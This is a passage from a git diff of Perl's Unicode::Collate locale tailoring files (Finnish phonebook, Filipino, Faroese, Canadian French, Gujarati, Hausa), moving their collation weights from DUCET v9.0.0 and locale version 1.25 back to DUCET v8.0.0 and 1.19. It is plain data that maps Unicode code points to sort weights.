a/cpan/Unicode-Collate/Collate/Locale/fi_phone.pl +++ b/cpan/Unicode-Collate/Collate/Locale/fi_phone.pl @@ -1,63 +1,63 @@ +{ - locale_version => 1.25, + locale_version => 1.19, # in cldr test/fi.xml why x{110}x < xdx though xd < x{110} ? - entry => <<'ENTRY', # for DUCET v9.0.0 -0111 ; [.1C8F.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE -01E5 ; [.1CF4.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER G WITH STROKE -01E4 ; [.1CF4.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER G WITH STROKE -014B ; [.1DB9.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER ENG -014A ; [.1DB9.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER ENG -0167 ; [.1E95.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER T WITH STROKE -0166 ; [.1E95.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER T WITH STROKE -00FC ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0292 ; [.1F21.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER EZH -01B7 ; [.1F21.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER EZH -01EF ; [.1F21.0021.0002][.0000.0039.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON -01EE ; [.1F21.0021.0008][.0000.0039.0002][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON -00E5 ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F96.0020.0008] # ANGSTROM SIGN -01FB ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE -00E4 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00E6 ; [.1F97.0021.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F97.0021.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F97.0021.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F97.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F97.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -00F6 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F98.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F98.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -00F8 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F98.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F98.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE + entry => <<'ENTRY', # for DUCET v8.0.0 +0111 ; [.1C0A.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE +01E5 ; [.1C6F.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER G WITH STROKE +01E4 ; [.1C6F.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER G WITH STROKE +014B ; [.1D34.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER ENG +014A ; [.1D34.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER ENG +0167 ; [.1E10.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER T WITH STROKE +0166 ; [.1E10.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER T WITH STROKE +00FC ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0292 ; [.1E9C.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER EZH +01B7 ; [.1E9C.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER EZH +01EF ; [.1E9C.0021.0002][.0000.0039.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON +01EE ; [.1E9C.0021.0008][.0000.0039.0002][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON +00E5 ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F11.0020.0008] # ANGSTROM SIGN +01FB ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE +00E4 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00E6 ; [.1F12.0021.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F12.0021.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F12.0021.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F12.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F12.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +00F6 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F13.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F13.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +00F8 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1F13.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F13.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/fil.pl b/cpan/Unicode-Collate/Collate/Locale/fil.pl index 3cb2746b9492..5eaf69134eb1 100644 --- a/cpan/Unicode-Collate/Collate/Locale/fil.pl +++ b/cpan/Unicode-Collate/Collate/Locale/fil.pl @@ -1,12 +1,12 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00F1 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE -006E 0303 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE -00D1 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE -004E 0303 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE -006E 0067 ; [.1DBB.0020.0002] # -004E 0067 ; [.1DBB.0020.0007] # -004E 0047 ; [.1DBB.0020.0008] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00F1 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE +006E 0303 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE +00D1 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE +004E 0303 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE +006E 0067 ; [.1D36.0020.0002] # +004E 0067 ; [.1D36.0020.0007] # +004E 0047 ; [.1D36.0020.0008] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/fo.pl b/cpan/Unicode-Collate/Collate/Locale/fo.pl index c26ea48b101d..104d1ffb2666 100644 --- a/cpan/Unicode-Collate/Collate/Locale/fo.pl +++ b/cpan/Unicode-Collate/Collate/Locale/fo.pl @@ -1,77 +1,77 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0111 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -00F0 ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH -1DD9 ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH -00D0 ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH -00FE ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN -00DE ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN -00FC ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0171 ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0170 ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -00E6 ; [.1F96.0020.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -00E4 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -0119 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0065 0328 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0118 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0045 0328 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -00F8 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F97.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F97.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE -00F6 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -0151 ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -006F 030B ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -0150 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -004F 030B ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -0153 ; [.1F97.0023.0002] # LATIN SMALL LIGATURE OE -0152 ; [.1F97.0023.0008] # LATIN CAPITAL LIGATURE OE -00E5 ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F98.0020.0008] # ANGSTROM SIGN -01FB ; [.1F98.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F98.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE -0061 0061 ; [.1F98.0020.001C][.0000.0000.0002] # -0061 0041 ; [.1F98.0020.001C][.0000.0000.0008] # -0041 0061 ; [.1F98.0020.001D][.0000.0000.0002] # -0041 0041 ; [.1F98.0020.001D][.0000.0000.0008] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0111 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +00F0 ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH +1DD9 ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH +00D0 ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH +00FE ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN +00DE ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN +00FC ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0171 ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0170 ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +00E6 ; [.1F11.0020.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +00E4 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +0119 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0065 0328 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0118 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0045 0328 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +00F8 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1F12.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F12.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE +00F6 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +0151 ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +006F 030B ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +0150 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +004F 030B ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +0153 ; [.1F12.0023.0002] # LATIN SMALL LIGATURE OE +0152 ; [.1F12.0023.0008] # LATIN CAPITAL LIGATURE OE +00E5 ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F13.0020.0008] # ANGSTROM SIGN +01FB ; [.1F13.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F13.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE +0061 0061 ; [.1F13.0020.001C][.0000.0000.0002] # +0061 0041 ; [.1F13.0020.001C][.0000.0000.0008] # +0041 0061 ; [.1F13.0020.001D][.0000.0000.0002] # +0041 0041 ; [.1F13.0020.001D][.0000.0000.0008] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl b/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl index ea81cac4b6f4..4007b59f2159 100644 --- a/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl +++ b/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl @@ -1,4 +1,4 @@ +{ - locale_version => 1.25, + locale_version => 1.19, backwards => 2, }; diff --git a/cpan/Unicode-Collate/Collate/Locale/gu.pl b/cpan/Unicode-Collate/Collate/Locale/gu.pl index aabb3f2bdd4a..c4107d8c4cad 100644 --- a/cpan/Unicode-Collate/Collate/Locale/gu.pl +++ b/cpan/Unicode-Collate/Collate/Locale/gu.pl @@ -1,9 +1,9 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0A82 ; [.2739.0020.0002][.FFF1.0000.0000] # GUJARATI SIGN ANUSVARA -0A81 ; [.2739.0021.0002][.FFF1.0000.0000] # GUJARATI SIGN CANDRABINDU -0A83 ; [.2739.0020.0002][.FFF2.0000.0000] # GUJARATI SIGN VISARGA -0AD0 ; [.2739.0020.0002][.FFF0.0000.0000] # GUJARATI OM + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0A82 ; [.26AC.0020.0002][.FFF1.0000.0000] # GUJARATI SIGN ANUSVARA +0A81 ; [.26AC.0021.0002][.FFF1.0000.0000] # GUJARATI SIGN CANDRABINDU +0A83 ; [.26AC.0020.0002][.FFF2.0000.0000] # GUJARATI SIGN VISARGA +0AD0 ; [.26AC.0020.0002][.FFF0.0000.0000] # GUJARATI OM ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ha.pl b/cpan/Unicode-Collate/Collate/Locale/ha.pl index a303bc6e8423..3f94d19398b5 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ha.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ha.pl @@ -1,16 +1,16 @@ +{ - locale_version => 1.25, + locale_version => 1.19, # b-hook, d-hook, k-hook, y-hook don't require tailoring - entry => <<'ENTRY', # for DUCET v9.0.0 -0073 0068 ; [.1E72.0020.0002] # -0053 0068 ; [.1E72.0020.0007] # -0053 0048 ; [.1E72.0020.0008] # -0074 0073 ; [.1E96.0020.0002] # -0054 0073 ; [.1E96.0020.0007] # -0054 0053 ; [.1E96.0020.0008] # -02BC 0079 ; [.1F17.0020.0003] # -02BC 0059 ; [.1F17.0020.0009] # -0027 0079 ; [.1F17.0020.0004] # -0027 0059 ; [.1F17.0020.000A] # + entry => <<'ENTRY', # for DUCET v8.0.0 +0073 0068 ; [.1DED.0020.0002] # +0053 0068 ; [.1DED.0020.0007] # +0053 0048 ; [.1DED.0020.0008] # +0074 0073 ; [.1E11.0020.0002] # +0054 0073 ; [.1E11.0020.0007] # +0054 0053 ; [.1E11.0020.0008] # +02BC 0079 ; [.1E92.0020.0003] # 